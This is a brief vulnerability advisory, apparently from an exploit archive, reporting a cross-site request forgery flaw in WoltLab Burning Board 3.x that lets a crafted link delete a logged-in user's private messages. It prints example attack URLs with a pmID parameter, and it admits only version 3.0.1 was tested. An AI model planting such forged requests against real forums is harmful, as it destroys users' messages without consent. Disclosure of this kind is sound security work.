WoltLab Burning Board 3.x.x Private Message Delete XSRF Vulnerability

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WoltLab Burning Board 3.x.x PM Delete Cross-Site Request Forgery Vulnerability
by NBBN. Founded: 25 December 2007
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Examples:
http://domain.tld/wbb3/index.php?page=PM&action=delete&pmID=[pmid]
http://domain.tld/wbb3/index.php?page=PM&action=delete&pmID=1

Fix:

Wait for a fix. Or never surf in other sites, if you have autologin on and
don't click links, when you are logged in.

Vulnerability Versions:

I tested it only on 3.0.1 but I think that all version of 3 are vuln.